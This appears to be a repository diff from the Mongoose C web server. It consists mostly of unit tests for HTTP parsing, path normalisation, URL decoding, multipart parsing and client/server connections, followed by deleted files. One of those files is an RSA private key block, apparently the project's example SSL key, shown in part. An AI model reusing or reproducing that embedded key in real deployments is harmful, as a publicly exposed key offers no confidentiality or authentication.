||||
}
|
||||
}
|
||||
|
||||
return reply;
|
||||
}
|
||||
#endif
|
||||
|
||||
static char *read_file(const char *path, int *size) {
|
||||
FILE *fp;
|
||||
struct stat st;
|
||||
char *data = NULL;
|
||||
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
|
||||
*size = (int) st.st_size;
|
||||
data = (char *) malloc(*size);
|
||||
fread(data, 1, *size, fp);
|
||||
fclose(fp);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static const char *test_parse_http_message() {
|
||||
struct mg_connection ri;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
|
||||
char req5[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req6[] = "G";
|
||||
char req7[] = " blah ";
|
||||
char req8[] = " HTTP/1.1 200 OK \n\n";
|
||||
char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
|
||||
|
||||
ASSERT(get_request_len("\r\n", 3) == -1);
|
||||
ASSERT(get_request_len("\r\n", 2) == 0);
|
||||
ASSERT(get_request_len("GET", 3) == 0);
|
||||
ASSERT(get_request_len("\n\n", 2) == 2);
|
||||
ASSERT(get_request_len("\n\r\n", 3) == 3);
|
||||
ASSERT(get_request_len("\xdd\xdd", 2) == 0);
|
||||
ASSERT(get_request_len("\xdd\x03", 2) == -1);
|
||||
ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
|
||||
ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
|
||||
ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
|
||||
|
||||
ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
|
||||
ASSERT(ri.num_headers == 1);
|
||||
|
||||
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
ASSERT(ri.num_headers == 0);
|
||||
|
||||
ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
|
||||
ASSERT(parse_http_message(req6, 0, &ri) == -1);
|
||||
ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
|
||||
|
||||
// TODO(lsm): Fix this. Header value may span multiple lines.
|
||||
ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
ASSERT(ri.num_headers == 3);
|
||||
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
|
||||
|
||||
ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
|
||||
ASSERT(strcmp(ri.request_method, "GET") == 0);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_should_keep_alive(void) {
|
||||
struct mg_connection conn;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "GET / HTTP/1.0\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
|
||||
|
||||
memset(&conn, 0, sizeof(conn));
|
||||
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
|
||||
ASSERT(should_keep_alive(&conn) != 0);
|
||||
|
||||
parse_http_message(req2, sizeof(req2) - 1, &conn);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_message(req3, sizeof(req3) - 1, &conn);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_message(req4, sizeof(req4) - 1, &conn);
|
||||
ASSERT(should_keep_alive(&conn) != 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_match_prefix(void) {
|
||||
ASSERT(match_prefix("/api", 4, "/api") == 4);
|
||||
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
|
||||
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
|
||||
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
|
||||
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
|
||||
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
|
||||
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
|
||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
|
||||
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
|
||||
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
|
||||
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
|
||||
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
|
||||
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
|
||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(match_prefix("$", 1, "") == 0);
|
||||
ASSERT(match_prefix("$", 1, "x") == -1);
|
||||
ASSERT(match_prefix("*$", 2, "x") == 1);
|
||||
ASSERT(match_prefix("/$", 2, "/") == 1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(match_prefix("*", 1, "/hello/") == 0);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
|
||||
ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_remove_double_dots() {
|
||||
struct { char before[20], after[20]; } data[] = {
|
||||
{"////a", "/a"},
|
||||
{"/.....", "/."},
|
||||
{"/......", "/"},
|
||||
{"...", "..."},
|
||||
{"/...///", "/./"},
|
||||
{"/a...///", "/a.../"},
|
||||
{"/.x", "/.x"},
|
||||
{"/\\", "/"},
|
||||
{"/a\\", "/a\\"},
|
||||
{"/a\\\\...", "/a\\."},
|
||||
};
|
||||
size_t i;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(data); i++) {
|
||||
remove_double_dots_and_double_slashes(data[i].before);
|
||||
ASSERT(strcmp(data[i].before, data[i].after) == 0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_get_var(void) {
|
||||
static const char *post[] = {
|
||||
"a=1&&b=2&d&=&c=3%20&e=",
|
||||
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
|
||||
NULL
|
||||
};
|
||||
char buf[20];
|
||||
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
|
||||
ASSERT(buf[0] == '1' && buf[1] == '\0');
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
|
||||
ASSERT(buf[0] == '2' && buf[1] == '\0');
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
|
||||
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
|
||||
ASSERT(buf[0] == '\0');
|
||||
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
|
||||
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
|
||||
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
|
||||
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_url_decode(void) {
|
||||
char buf[100];
|
||||
|
||||
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
|
||||
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
|
||||
ASSERT(strcmp(buf, "foo") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
|
||||
ASSERT(strcmp(buf, "a+") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
|
||||
ASSERT(strcmp(buf, "a ") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
|
||||
ASSERT(strcmp(buf, "%") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
|
||||
ASSERT(strcmp(buf, "%6") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
|
||||
ASSERT(strcmp(buf, "a") == 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_to64(void) {
|
||||
ASSERT(to64("0") == 0);
|
||||
ASSERT(to64("") == 0);
|
||||
ASSERT(to64("123") == 123);
|
||||
ASSERT(to64("-34") == -34);
|
||||
ASSERT(to64("3566626116") == 3566626116);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_parse_port_string(void) {
|
||||
static const char *valid[] = {
|
||||
"1", "1.2.3.4:1",
|
||||
#if defined(USE_IPV6)
|
||||
"[::1]:123", "[3ffe:2a00:100:7031::1]:900",
|
||||
#endif
|
||||
NULL
|
||||
};
|
||||
static const char *invalid[] = {
|
||||
"99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL
|
||||
};
|
||||
union socket_address sa;
|
||||
int i;
|
||||
|
||||
for (i = 0; valid[i] != NULL; i++) {
|
||||
ASSERT(parse_port_string(valid[i], &sa) != 0);
|
||||
}
|
||||
|
||||
for (i = 0; invalid[i] != NULL; i++) {
|
||||
ASSERT(parse_port_string(invalid[i], &sa) == 0);
|
||||
}
|
||||
ASSERT(parse_port_string("0", &sa) != 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_base64_encode(void) {
|
||||
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
|
||||
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
|
||||
char buf[100];
|
||||
int i;
|
||||
|
||||
for (i = 0; in[i] != NULL; i++) {
|
||||
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
|
||||
ASSERT(!strcmp(buf, out[i]));
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_mg_parse_header(void) {
|
||||
const char *str = "xx=1 kl yy, ert=234 kl=123, "
|
||||
"ii=\"12\\\"34\" zz='aa bb',tt=2,gf=\"xx d=1234";
|
||||
char buf[10];
|
||||
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
|
||||
ASSERT(strcmp(buf, "234") == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
|
||||
ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
|
||||
ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
|
||||
ASSERT(strcmp(buf, "aa bb") == 0);
|
||||
ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
|
||||
ASSERT(strcmp(buf, "1234") == 0);
|
||||
buf[0] = 'x';
|
||||
ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
|
||||
ASSERT(buf[0] == '\0');
|
||||
ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
|
||||
ASSERT(strcmp(buf, "123") == 0);
|
||||
ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
|
||||
ASSERT(strcmp(buf, "1") == 0);
|
||||
ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
|
||||
ASSERT(strcmp(buf, "12\"34") == 0);
|
||||
ASSERT(mg_parse_header(str, "tt", buf, sizeof(buf)) == 1);
|
||||
ASSERT(strcmp(buf, "2") == 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_next_option(void) {
|
||||
const char *p, *list = "x/8,/y**=1;2k,z";
|
||||
struct vec a, b;
|
||||
int i;
|
||||
|
||||
ASSERT(next_option(NULL, &a, &b) == NULL);
|
||||
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
|
||||
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
|
||||
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
|
||||
b.len == 4));
|
||||
|
||||
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int cb1(struct mg_connection *conn) {
|
||||
int result = MG_REQUEST_NOT_PROCESSED;
|
||||
if (!strcmp(conn->uri, "/cb1")) {
|
||||
mg_printf(conn, "%s %s %s",
|
||||
conn->server_param == NULL ? "?" : (char *) conn->server_param,
|
||||
conn->connection_param == NULL ? "?" : "!", conn->remote_ip);
|
||||
result = MG_REQUEST_PROCESSED;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
static int error_handler(struct mg_connection *conn) {
|
||||
mg_printf(conn, "HTTP/1.0 404 NF\r\n\r\nERR: %d", conn->status_code);
|
||||
return MG_ERROR_PROCESSED;
|
||||
}
|
||||
|
||||
static int ts1(struct mg_connection *conn) {
|
||||
if (conn->status_code == MG_CONNECT_SUCCESS) {
|
||||
mg_printf(conn, "%s", "GET /cb1 HTTP/1.0\r\n\r\n");
|
||||
return MG_CLIENT_CONTINUE;
|
||||
} else if (conn->status_code == MG_DOWNLOAD_SUCCESS) {
|
||||
sprintf((char *) conn->connection_param, "%.*s",
|
||||
(int) conn->content_len, conn->content);
|
||||
}
|
||||
return MG_CLIENT_CLOSE;
|
||||
}
|
||||
|
||||
static int ts2(struct mg_connection *conn) {
|
||||
if (conn->status_code == MG_CONNECT_SUCCESS) {
|
||||
mg_printf(conn, "%s", "GET /non_exist HTTP/1.0\r\n\r\n");
|
||||
return MG_CLIENT_CONTINUE;
|
||||
} else if (conn->status_code == MG_DOWNLOAD_SUCCESS) {
|
||||
sprintf((char *) conn->connection_param, "%s %.*s",
|
||||
conn->uri, (int) conn->content_len, conn->content);
|
||||
}
|
||||
return MG_CLIENT_CLOSE;
|
||||
}
|
||||
|
||||
static const char *test_server(void) {
|
||||
char buf1[100] = "", buf2[100] = "";
|
||||
struct mg_server *server = mg_create_server((void *) "foo");
|
||||
|
||||
ASSERT(server != NULL);
|
||||
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
|
||||
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
|
||||
mg_set_request_handler(server, cb1);
|
||||
mg_set_http_error_handler(server, error_handler);
|
||||
|
||||
ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0, ts1, buf1) == 1);
|
||||
ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0, ts2, buf2) == 1);
|
||||
|
||||
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
|
||||
ASSERT(strcmp(buf1, "foo ? 127.0.0.1") == 0);
|
||||
ASSERT(strcmp(buf2, "404 ERR: 404") == 0);
|
||||
|
||||
ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0);
|
||||
mg_destroy_server(&server);
|
||||
ASSERT(server == NULL);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// This http client sends two requests using one connection
|
||||
static int cb2(struct mg_connection *conn) {
|
||||
const char *file1 = "mongoose.h", *file2 = "mongoose.c", *file_name = file2;
|
||||
char *buf = (char *) conn->connection_param, *file_data;
|
||||
int file_len, ret_val = 1;
|
||||
|
||||
switch (conn->status_code) {
|
||||
case MG_CONNECT_SUCCESS:
|
||||
mg_printf(conn, "GET /%s HTTP/1.1\r\n\r\n", file1);
|
||||
strcat(buf, "a");
|
||||
ret_val = 0;
|
||||
break;
|
||||
case MG_CONNECT_FAILURE: strcat(buf, "b"); break;
|
||||
case MG_DOWNLOAD_FAILURE: strcat(buf, "c"); break;
|
||||
case MG_DOWNLOAD_SUCCESS:
|
||||
if (!strcmp(buf, "a")) {
|
||||
// Send second request
|
||||
mg_printf(conn, "GET /%s HTTP/1.1\r\n\r\n", file2);
|
||||
file_name = file1;
|
||||
}
|
||||
if ((file_data = read_file(file_name, &file_len)) != NULL) {
|
||||
if ((size_t) file_len == conn->content_len &&
|
||||
memcmp(file_data, conn->content, file_len) == 0) {
|
||||
strcat(buf, "d");
|
||||
} else {
|
||||
strcat(buf, "f");
|
||||
}
|
||||
free(file_data);
|
||||
}
|
||||
ret_val = !strcmp(buf, "ad") ? 0 : 1;
|
||||
break;
|
||||
default: strcat(buf, "e"); break;
|
||||
}
|
||||
|
||||
return ret_val;
|
||||
}
|
||||
|
||||
static int cb4h(struct mg_connection *conn) {
|
||||
int result = MG_REQUEST_NOT_PROCESSED;
|
||||
if (!strcmp(conn->uri, "/x")) {
|
||||
mg_send_data(conn, ":-)", 3);
|
||||
result = MG_REQUEST_PROCESSED;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
static int cb4(struct mg_connection *conn) {
|
||||
if (conn->status_code == MG_CONNECT_SUCCESS) {
|
||||
mg_printf(conn, "%s", "POST /x HTTP/1.0\r\nContent-Length: 999999\r\n\r\n");
|
||||
return MG_CLIENT_CONTINUE;
|
||||
} else {
|
||||
sprintf((char *) conn->connection_param, "%.*s",
|
||||
(int) conn->content_len, conn->content);
|
||||
}
|
||||
return MG_CLIENT_CLOSE;
|
||||
}
|
||||
|
||||
static int cb3(struct mg_connection *conn) {
|
||||
sprintf((char *) conn->connection_param, "%d", conn->status_code);
|
||||
return MG_CLIENT_CLOSE;
|
||||
}
|
||||
|
||||
static const char *test_mg_connect(void) {
|
||||
char buf2[40] = "", buf3[40] = "", buf4[40] = "";
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
|
||||
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
|
||||
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
|
||||
mg_set_request_handler(server, cb4h);
|
||||
ASSERT(mg_connect(server, "", 0, 0, NULL, NULL) == 0);
|
||||
ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0, cb2, buf2) == 1);
|
||||
ASSERT(mg_connect(server, "127.0.0.1", 29, 0, cb3, buf3) == 1);
|
||||
ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0, cb4, buf4) == 1);
|
||||
|
||||
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
|
||||
|
||||
ASSERT(strcmp(buf2, "add") == 0);
|
||||
ASSERT(strcmp(buf3, "1") == 0);
|
||||
ASSERT(strcmp(buf4, "500 Server Error\nPOST size > 999") == 0);
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#define DISP "Content-Disposition: form/data; "
|
||||
#define CRLF "\r\n"
|
||||
#define BOUNDARY "--xyz"
|
||||
static const char *test_parse_multipart(void) {
|
||||
char a[100], b[100];
|
||||
const char *p;
|
||||
static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF
|
||||
"some_content" CRLF BOUNDARY CRLF
|
||||
BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF
|
||||
"another_content" CRLF BOUNDARY CRLF
|
||||
"--" CRLF;
|
||||
int n, n2, len, f1_len = sizeof(f1) - 1;
|
||||
|
||||
ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
|
||||
ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
|
||||
ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a),
|
||||
b, sizeof(b), &p, &len)) > 0);
|
||||
ASSERT(len == 12);
|
||||
ASSERT(memcmp(p, "some_content", len) == 0);
|
||||
ASSERT(strcmp(a, "f1") == 0);
|
||||
ASSERT(b[0] == '\0');
|
||||
|
||||
ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a),
|
||||
b, sizeof(b), &p, &len)) > 0);
|
||||
ASSERT(len == 15);
|
||||
ASSERT(memcmp(p, "another_content", len) == 0);
|
||||
ASSERT(strcmp(a, "f2") == 0);
|
||||
ASSERT(strcmp(b, "foo bar.txt") == 0);
|
||||
|
||||
ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a),
|
||||
b, sizeof(b), &p, &len)) == 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int us1(struct mg_connection *conn) {
|
||||
static const char *file_name = "mongoose.h";
|
||||
char *cp = (char *) conn->connection_param;
|
||||
int file_size;
|
||||
|
||||
if (conn->status_code == MG_CONNECT_SUCCESS) {
|
||||
mg_printf(conn, "GET /%s HTTP/1.0\r\n\r\n", cp);
|
||||
return 0;
|
||||
} else if (conn->status_code == MG_DOWNLOAD_SUCCESS) {
|
||||
char *file_data = read_file(file_name, &file_size);
|
||||
sprintf(cp, "%d %s", (size_t) file_size == conn->content_len &&
|
||||
memcmp(file_data, conn->content, file_size) == 0 ? 1 : 0,
|
||||
conn->query_string == NULL ? "?" : conn->query_string);
|
||||
free(file_data);
|
||||
} else if (conn->status_code == MG_CONNECT_FAILURE) {
|
||||
sprintf(cp, "%s", "cf");
|
||||
} else {
|
||||
sprintf(cp, "%s", "df");
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
#ifdef MONGOOSE_USE_SSL
|
||||
static const char *test_ssl(void) {
|
||||
static const char *ssl_cert = "examples/ssl_cert.pem";
|
||||
char buf1[100] = "mongoose.h";
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
|
||||
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
|
||||
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
|
||||
ASSERT(mg_set_option(server, "ssl_certificate", ssl_cert) == NULL);
|
||||
|
||||
ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 1, us1, buf1) == 1);
|
||||
|
||||
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
|
||||
ASSERT(strcmp(buf1, "1 ?") == 0);
|
||||
mg_destroy_server(&server);
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
static const char *test_mg_set_option(void) {
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
|
||||
ASSERT(mg_get_option(server, "listening_port")[0] != '\0');
|
||||
mg_destroy_server(&server);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_rewrites(void) {
|
||||
char buf1[100] = "xx";
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
|
||||
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
|
||||
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
|
||||
ASSERT(mg_set_option(server, "url_rewrites", "/xx=./mongoose.h") == NULL);
|
||||
|
||||
ASSERT(mg_connect(server, "127.0.0.1",
|
||||
atoi(mg_get_option(server, "listening_port")),
|
||||
0, us1, buf1) == 1);
|
||||
|
||||
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
|
||||
//printf("[%s]\n", buf1);
|
||||
ASSERT(strcmp(buf1, "1 ?") == 0);
|
||||
mg_destroy_server(&server);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *run_all_tests(void) {
|
||||
RUN_TEST(test_should_keep_alive);
|
||||
RUN_TEST(test_match_prefix);
|
||||
RUN_TEST(test_remove_double_dots);
|
||||
RUN_TEST(test_parse_http_message);
|
||||
RUN_TEST(test_parse_port_string);
|
||||
RUN_TEST(test_to64);
|
||||
RUN_TEST(test_url_decode);
|
||||
RUN_TEST(test_base64_encode);
|
||||
RUN_TEST(test_mg_parse_header);
|
||||
RUN_TEST(test_get_var);
|
||||
RUN_TEST(test_next_option);
|
||||
RUN_TEST(test_parse_multipart);
|
||||
RUN_TEST(test_server);
|
||||
RUN_TEST(test_mg_connect);
|
||||
RUN_TEST(test_mg_set_option);
|
||||
RUN_TEST(test_rewrites);
|
||||
#ifdef MONGOOSE_USE_SSL
|
||||
RUN_TEST(test_ssl);
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int __cdecl main(void) {
|
||||
const char *fail_msg = run_all_tests();
|
||||
printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
|
||||
return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
LIBRARY
|
||||
EXPORTS
|
||||
mg_start
|
||||
mg_stop
|
||||
mg_read
|
||||
mg_write
|
||||
mg_printf
|
||||
mg_get_header
|
||||
mg_get_var
|
||||
mg_get_cookie
|
||||
mg_get_option
|
||||
mg_get_valid_option_names
|
||||
mg_version
|
||||
mg_modify_passwords_file
|
||||
mg_md5
|
||||
@@ -1 +0,0 @@
|
||||
200 ICON DISCARDABLE "systray.ico"
|
||||
@@ -1,50 +0,0 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
|
||||
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
|
||||
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
|
||||
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
|
||||
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
|
||||
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
|
||||
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
|
||||
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
|
||||
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
|
||||
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
|
||||
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
|
||||
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
|
||||
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
|
||||
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
|
||||
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
|
||||
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
|
||||
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
|
||||
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
|
||||
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
|
||||
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
|
||||
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
|
||||
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
|
||||
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
